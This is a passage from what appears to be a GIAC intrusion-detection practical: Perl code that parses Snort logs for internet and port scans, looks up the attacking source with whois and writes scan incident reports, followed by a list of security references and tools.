            if ($SCAN_TYPE eq "0") {  #For Internet scan report
                if ( $type =~ /[a-zA-Z]/ ) {
                    $attack_type = ucfirst($type) . ' scan';
                } else {
                    $attack_type = "Port $type scan";
                }
            } else {  #For Port scan report
                $attack_type = "Port scan of $dstname";
            }
        } else {
                $attack_type = "ICMP ping scan";
        }

        $dstnet = "$dstoctets[0].$dstoctets[1]";
        if ( $dstnet eq "MY.NET" ) {
            $target_site = "B";
            $time_zone = "MST";
        } else {
            $target_site = "G";
            $time_zone = "EST";
        }
    } #Get 10 lines to verify scan information

    $dstsubnet = "$dstoctets[2]";
    $dstsubhash{$dstsubnet} = 1;    #hash for determining if subnet or net

}
close(REPORTFILE);

open (OUTREPORT,">${SCAN_REPORT}") or die "Can't open ${SCAN_REPORT}\n";

# Setup some variables
$report_date = strftime("%D", localtime );
```

```
&whois_info;
$host_log = `cat ${SCAN_LOG}`;

if ($srcname eq '') {
    $srcname = "nFQDN";
}

$subnet_count = keys %dstsubhash;

if ($SCAN_TYPE eq "0") {  #For Internet scan report
    if ($subnet_count > 1 ) {
        $attack_scope = "net";
        $attack_desc = "$subnet_count subnets - ${scan_count} IP addresses";
    } else {
        $attack_scope = "subnet";
        $attack_desc = "Subnet $dstsubnet - ${scan_count} IP addresses";
    }
} else { #for Port scan
        $attack_scope = "host";
        $attack_desc = "$attack_type - ${scan_count} ports";
}
print OUTREPORT <<EOT;
Date Reported: $report_date
Date Attacked: $attack_date

Attacking IP Address: $srcip
Attacking Host Name: $srcname
Attacking Host Description: $remote_info

Type of Attack: $attack_type
Targeted O/S (if known):
Severity of Attach (high, medium, low): low

Scope of Attack (host, subnet, net): $attack_scope
Attack Description: $attack_desc

Result of Attack: Host defended
Method of Detection: Snort

Action Taken:  Notified CERT, remote network admin at $remote_host.

Response from Attacking Site (if any):

Log/Evidence of Attack: [Snort - TZ=US/${time_zone}] - Sample of log
-------------------------------------------------------------
$host_log

-----
$host_info
EOT
;

close (OUTREPORT);

print(GIACREPORT "<TR>\n<TD BGCOLOR=\"FFFFE1\"><P ALIGN=\"CENTER\">",$attack_c
```

```
}

#--- End log_scan_report ----------------------

#--- Start by_ip ----------------------
sub by_ip
{
    @avec = split(/\./ , $a);
    @bvec = split(/\./ , $b);

    $avec[0] <=> $bvec[0]
        or
    $avec[1] <=> $bvec[1]
        or
    $avec[2] <=> $bvec[2]
        or
    $avec[3] <=> $bvec[3]
}

#--- End by_ip   ----------------------

#--- Start whois_info ----------------------
sub whois_info
{
$remote_host = '';
$remote_info = '';
$host_info = '';
$host_info = `${WHOISPRG} $srcip`;

@host_lines = split('\n',$host_info);

$line = 0;
foreach $hline (@host_lines)
{
    $line = $line + 1;
    if ($hline=~ /\(NET/ )
        {  # This will process all North American style whois responses
            $first_line = substr($hline,0,index($hline,"(NET"));
            $first_line =~ s/\s$//;
        }
        if ($hline =~ /,/) {
            if ($line == 3) {
                if ( $hline =~/single/) {
                    $address = '';
                } else {
                    $address = substr($hline,0,index($hline,"[0-9]"));
                    $address =~ s/[0-9]//g;
                    $address =~ s/^   //g;
                    #$address =~ s/^\s+\d+//;
                }
            } elsif ($line == 4) {
                if ( $hline =~/single/) {
                    $address = '';
                } else {
                    $address = substr($hline,0,index($hline,"[0-9]"));
                    $address =~ s/[0-9]//g;
```

```
                    $address =~ s/^   //g;
                    #$address =~ s/^\s+\d+//;
                }
            } elsif ($line == 4) {
            }
        } else { # This will process all European and Asian style responses

            if ($hline=~ /descr:/ ) {
                $first_line = substr($hline,index($hline,":"));
                $first_line =~ s/:///;
                $first_line =~ s/^\s+//;
            }
            if ($hline=~ /country:/ ) {
                $address = substr($hline,index($hline,":"));
                $address =~ s/:///;
                $address =~ s/^\s+//;
            }
            #if ($line < 2) {
            #    print STDOUT "Got an European/Asian reponse, eh?\n";
            #}
        }
        if ($hline=~ /Organization/ ) { # Exodus whois
            $first_line = substr($hline,index($hline,"I:"));
            $first_line =~ s/I:///;
        }
        if ($hline=~ /Address-2/ ) {
            $address = substr($hline,index($hline,"I:"));
            $address =~ s/I:///;
        }

    }
    if ($address eq '') {
        $remote_info = "$first_line $address";
        $remote_host = $first_line;
    } else {
        $remote_info = "$first_line, $address";
        $remote_host = $first_line;
    }
}

#--- End whois_info   ---------------------


#--- Start usage ---------------------
sub usage {
    print <<EOT;

$runpl by Robert Sorensen

Usage $runpl -i <input file> -m <mail recipient(s)> -p -r -t <scan threshholds
      $runpl -d -i <input file> -p -t <scan threshholds>
      $runpl -h

        $runpl parses a daily Snort log file and
        scans for a one-to-many (src to dest) IP relationship (internet scans)
        as well has host targeted portscans.  If any scans are found,
```

```
        the pertinent logs are processed and mailed to sysadmin.


        The following options are available:

        -d: Dry run scan.  Runs script without generating or mailing logs
            Negates -m and -r  options.

        -h: Shows usage

        -i:  process an existing file <input file>.

        -m: Specify mail recipients, comma separated between
            multiple recipients.  Ex.  -m rsoren\@mycompany.net, robert\@mycon
            (Dry run overrides option)

        -p: Include ICMP logs when scanning

        -r: Scan report (Dryrun overrides option)

        -t: Scan threshholds for internet scans and portscans.  Default is 25
            Ex.  -t 25,50

EOT
;
}
#--- End usage ---------------------

#-----------------------------------
# End - Subroutines
#-----------------------------------
```

7. List of References and Tools

www.snort.org

SHADOW IDS

SANS.org

Sam Spade

whois.arin.net

Asia Pacific Network Information Centre

KRNIC IP/AS Whois Gateway

Blighty whois for Unix - Used in gscan.pl script

SnortSnarf

Lenny Zeltser - Thanks Lenny for the nice layout!

SecurityFocus

Whitehats.com

CVE

CERT

Metacrawler Search Engine

Google Search Engine

Internet Security Systems

Nessus

.